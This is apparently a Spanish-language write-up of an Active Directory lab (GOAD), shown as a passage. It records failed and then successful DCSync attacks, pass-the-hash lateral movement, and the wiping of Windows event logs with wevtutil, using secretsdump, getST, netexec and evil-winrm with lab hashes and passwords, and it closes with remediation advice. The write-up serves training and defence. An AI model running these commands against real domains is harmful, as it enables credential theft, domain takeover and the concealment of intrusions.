Primer intento: DCSync con ticket CIFS via
secretsdump.py. El DC rechazó el dump completo por validación de SPN (Policy SPN target name validation), que restringe el uso del protocolo DRSUAPI a tickets con servicios específicos.export KRB5CCNAME=Administrator@CIFS_winterfell...ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.11 \
north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local
[-] Policy SPN target name validation might be restricting full
DRSUAPI dump. Try -just-dc-user
Segundo intento: sustitución del servicio CIFS por LDAP mediante
-altservice para evadir la validación de SPN y habilitar DRSUAPI. El ticket se generó correctamente pero secretsdump siguió devolviendo el mismo error con -just-dc-user.getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-altservice ldap/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11
[*] Changing service from CIFS/winterfell... to ldap/winterfell...
[*] Saving ticket in Administrator@ldap_winterfell...ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.11 \
-just-dc-user Administrator \
north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local
[-] 'NoneType' object has no attribute 'getRemoteHost'
Tercer intento: acceso via
evil-winrm con tickets http y wsman. Evil-winrm no pudo autenticarse con ninguno de los tickets generados por incompatibilidad de GSSAPI en la versión instalada.getST.py ... -altservice wsman/winterfell... -impersonate Administrator
evil-winrm -i winterfell.north.sevenkingdoms.local \
-r NORTH.SEVENKINGDOMS.LOCAL
Error: GSSAPI::GssApiError: Matching credential not found
Cuarto intento: dump via
netexec smb –ntds con ticket CIFS. La sesión SMB se estableció pero fue eliminada antes de completar el dump, resultando en 0 hashes extraidos.netexec smb 192.168.56.11 -k --use-kcache --ntds
[-] RemoteOperations failed: STATUS_USER_SESSION_DELETED
[+] Dumped 0 NTDS hashes
DCSync Exitoso – Trust Bidireccional
Tras agotar los vectores via Kerberos, se identificó que el trust bidireccional entre sevenkingdoms.local y north.sevenkingdoms.local permitía autenticarse contra WINTERFELL usando las credenciales de
Administrator de sevenkingdoms.local via Pass-the-Hash. Esto evita completamente el problema de validación de tickets Kerberos y permite ejecutar DRSUAPI directamente via NTLM.# Verificacion de acceso via trust
netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d sevenkingdoms.local
[+] sevenkingdoms.local\Administrator (Pwn3d!)
# DCSync via NTLM
secretsdump.py sevenkingdoms.local/Administrator@192.168.56.11 \
-hashes :c66d72021a2d4744409969a581a1705e
Administrator:500:...:dbd13e1c4e338284ac4e9874f7de6ef4:::
krbtgt:502:...:fc6cdeaa9ca0ac3611eb712d01c4bb53:::
eddard.stark:1111:...:d977b98c6c9282c5c478be1d97b237b8:::
jon.snow:1118:...:b8d76e56e9dac90539aff05e3ccb1755:::
sql_svc:1121:...:84a5092f53390ea48d660be52b93b804:::
[...]
DefaultPassword -> NORTH\robb.stark:sexywolfy
DCSync exitoso sobre north.sevenkingdoms.local via trust bidireccional. Se obtuvieron los hashes NTLM de todos los usuarios del dominio norte. Hash del Administrator:
dbd13e1c4e338284ac4e9874f7de6ef4. Adicionalmente se encontró la contraseña en texto plano de robb.stark:sexywolfy almacenada en DefaultPassword del registro del DC.Movimiento Lateral y Escalada de Privilegios
Pass-the-Hash
Con el NT hash del
Administrator obtenido via DCSync, se procedió a autenticarse en WINTERFELL y CASTELBLACK mediante Pass-the-Hash para confirmar el compromiso total del dominio north.sevenkingdoms.local.# Acceso a WINTERFELL (DC02)
evil-winrm -i 192.168.56.11 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
north\administrator
*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
winterfell
# Acceso a CASTELBLACK (SRV02)
evil-winrm -i 192.168.56.22 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
castelblack\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
castelblack
Acceso interactivo obtenido como administrador en WINTERFELL y CASTELBLACK mediante Pass-the-Hash. El dominio north .sevenkingdoms.local ha sido comprometido en su totalidad. El hash del Administrator de dominio es válido en ambas máquinas porque los Domain Admins son administradores locales en todos los equipos miembros del dominio por defecto.
Post-Explotación y Borrado de Evidencias
En un pentest real, toda la evidencia de la intrusión debe ser eliminada al finalizar el engagement. Se eliminan los artefactos creados durante el ataque y se limpian los logs de eventos de Windows en los tres hosts comprometidos.
# Limpiar logs en WINTERFELL (desde evil-winrm)
evil-winrm -i 192.168.56.11 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4
*Evil-WinRM* PS C:\> wevtutil cl Security
*Evil-WinRM* PS C:\> wevtutil cl System
*Evil-WinRM* PS C:\> wevtutil cl Application
# Limpiar logs en CASTELBLACK (desde evil-winrm)
evil-winrm -i 192.168.56.22 -u Administrator \
-H dbd13e1c4e338284ac4e9874f7de6ef4
*Evil-WinRM* PS C:\> wevtutil cl Security
*Evil-WinRM* PS C:\> wevtutil cl System
*Evil-WinRM* PS C:\> wevtutil cl Application
# Eliminar archivos temporales en la maquina atacante
rm Administrator@CIFS_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@ldap_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@wsman_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm Administrator@http_winterfell.north.sevenkingdoms.local\
@NORTH.SEVENKINGDOMS.LOCAL.ccache
rm asrep.txt kerberoast_north.txt /tmp/admin.ccache
En un entorno de laboratorio, el borrado de evidencias se documenta con fines educativos. En un pentest real, toda acción de limpieza debe estar explícitamente autorizada por el cliente y coordinada con el equipo de blue team.
Artefactos del ataque eliminados: logs de Security/System/Application limpiados en WINTERFELL y CASTELBLACK, archivos ccache y hashes temporales eliminados de la máquina atacante. A diferencia de sevenkingdoms.local, no fue necesario eliminar ninguna cuenta de computadora ya que el vector utilizado en el dominio norte fue Constrained Delegation en lugar de RBCD.
Vulnerabilidades y Recomendaciones
Resumen de Vulnerabilidades
| Vulnerabilidad | Objeto afectado | Dominio | Tipo | Severidad |
|---|---|---|---|---|
ACLs mal configuradas | tywin → DA | sevenkingdoms | ACL Abuse | Crítica |
Targeted Kerberoasting | joffrey.baratheon | sevenkingdoms | SPN Abuse | Alta |
RBCD Attack | KINGSLANDING$ | sevenkingdoms | Delegation Abuse | Crítica |
DCSync | Dominio completo | sevenkingdoms | Privilege Abuse | Crítica |
Contraseñas débiles | joffrey.baratheon | sevenkingdoms | Weak Password | Alta |
Password en descripción | samwell.tarly | north | Information Disclosure | Alta |
User-as-Password | hodor | north | Weak Password | Alta |
AS-REP Roasting | brandon.stark | north | Kerberos Abuse | Alta |
Kerberoasting | jon.snow, sansa.stark, sql_svc | north | SPN Abuse | Alta |
Constrained Delegation | jon.snow → DC | north | Delegation Abuse | Crítica |
DCSync via Trust | Dominio completo | north | Privilege Abuse | Crítica |
Password en texto plano | robb.stark (DefaultPassword) | north | Information Disclosure | Alta |
Recomendaciones
ACLs Mal Configuradas
Auditar regularmente las ACLs del dominio con BloodHound. Ningún usuario regular debe tener permisos como ForceChangePassword, GenericWrite, WriteDACL o GenericAll sobre otros objetos del dominio sin justificación explícita y documentada. Aplicar el principio de menor privilegio en cada objeto del directorio.
Kerberoasting y Targeted Kerberoasting
Evitar registrar SPNs en cuentas de usuario. Si es necesario, usar contraseñas de mínimo 25 caracteres o implementar Group Managed Service Accounts (gMSA) que rotan su contraseña automáticamente y cuyo hash no es crackeable offline. En el caso de sql_svc, la cuenta de servicio MSSQL debe migrarse a una gMSA para eliminar el riesgo de Kerberoasting.
RBCD – Resource-Based Constrained Delegation
Reducir el valor de ms-DS-MachineAccountQuota a 0 para impedir que usuarios no privilegiados creen cuentas de computadora. Auditar regularmente el atributo msDS- AllowedToActOnBehalfOfOtherIdentity en objetos computadora críticos como los Domain Controllers.
Constrained Delegation
Auditar regularmente el atributo msDS-AllowedToDelegateTo en todas las cuentas del dominio. Ningún usuario regular debe tener delegación constrained configurada hacia servicios de Domain Controllers. Si la delegación es necesaria, debe restringirse a cuentas de servicio dedicadas con mínimos privilegios y monitorearse activamente mediante alertas en el SIEM ante solicitudes S4U2Proxy inesperadas.
DCSync y Abuso de Trust
Restringir los permisos de Replicating Directory Changes únicamente a los Domain Controllers. En entornos multi-dominio, auditar regularmente qué cuentas de dominios de confianza tienen acceso administrativo en el dominio local, ya que un trust bidireccional permite que el compromiso de un dominio derive en el compromiso total del forest.
Contraseñas Débiles e Información Sensible Expuesta
Implementar políticas de contraseñas robustas con mínimo 15 caracteres, complejidad obligatoria y rotación periódica. Prohibir el uso del nombre de usuario como contraseña (hodor:hodor) y realizar auditorías periódicas de atributos de descripción de cuentas en Active Directory, ya que samwell.tarly tenía su contraseña en texto plano en el campo de descripción. Adicionalmente, el mecanismo DefaultPassword del registro del sistema debe auditarse regularmente ya que almacena credenciales en texto plano, como ocurrió con robb.stark:sexywolfy.
AS-REP Roasting
Habilitar la preautenticación Kerberos en todas las cuentas del dominio. La flag UF_ DONT_REQUIRE_PREAUTH solo debe desactivarse cuando existe una justificación técnica explícita y documentada. Las cuentas con esta flag activa deben tener contraseñas de mínimo 25 caracteres para resistir ataques de crackeo offline.
Reflexión Final
Qué salió bien
La enumeración de Active Directory del dominio norte fue ejecutada de forma ordenada y progresiva. Partiendo de una sola credencial encontrada en la descripción de un usuario, se logró construir una cadena completa de acceso mediante técnicas encadenadas: password en descripción, user-as-password, AS-REP Roasting, Kerberoasting y delegación constrained. El trust bidireccional intra-forest fue identificado tempranamente y aprovechado como vector crítico al final de la explotación. La documentación simultánea al ataque permitió registrar cada intento, incluyendo los fallidos, sin necesidad de reconstruir los pasos a posteriori.
Qué salió mal
La fase de DCSync del dominio norte resultó considerablemente más compleja de lo esperado. Se invirtieron múltiples intentos explorando tickets Kerberos con distintos servicios (CIFS, LDAP, HTTP, WSMAN) sin éxito, debido a la validación de SPN del DC y problemas de compatibilidad de GSSAPI en evil-winrm. La solución final fue utilizar el trust bidireccional para autenticarse via NTLM directamente, evitando por completo el problema de Kerberos. Adicionalmente, durante el desarrollo del laboratorio se produjo un kernel panic que obligó a recompilar los módulos de VMware y hacer downgrade del kernel, lo que generó una interrupción no planificada en el flujo de trabajo.
Lecciones Aprendidas
Este laboratorio representó la primera exposición práctica a un entorno de Active Directory multi-dominio y superó ampliamente las expectativas iniciales en complejidad técnica. Todos los conceptos documentados trust bidireccional intra-forest, AS-REP Roasting, Kerberoasting clásico, delegación constrained y abuso de trust para DCSync eran completamente nuevos antes de este lab.
La lección más importante fue entender que en entornos multi-dominio el trust no es solo una relación lógica: es un vector de ataque concreto. Comprometer un dominio dentro del mismo forest puede significar comprometer el forest completo si los permisos no están correctamente segmentados.
La diferencia entre delegación constrained clásica y RBCD quedó clara en la práctica: en RBCD el recurso controla quién puede delegar hacia él; en constrained delegation clásica la cuenta declara hacia dónde puede delegar. El resultado ofensivo es similar pero el mecanismo y la detección difieren.
Finalmente, los múltiples intentos fallidos de DCSync via Kerberos enseñaron que cuando un vector presenta resistencia inesperada, vale la pena replantear el enfoque completamente en lugar de insistir con variaciones del mismo método. El trust bidireccional era la solución más directa desde el principio.
Este writeup deberá ser releído varias veces para que los conceptos queden consolidados, ya que la densidad técnica del laboratorio es significativamente mayor que la de GOAD-Mini.
Tiempo Total
| Fase | Tiempo |
|---|---|
Reconocimiento e infraestructura | 20 Minutos |
Enumeración sevenkingdoms.local | 20 Minutos |
Explotación sevenkingdoms.local | 10 Minutos |
Enumeración north.sevenkingdoms.local | 4 Horas |
Explotación north.sevenkingdoms.local | 3 Horas |
Post-explotación y limpieza | 20 Minutos |
Total | 8 Horas y 10 Minutos |
Este laboratorio fue completado en 1 día de trabajo continuo, distribuyendo las fases entre sesiones prácticas y documentación simultánea al ataque.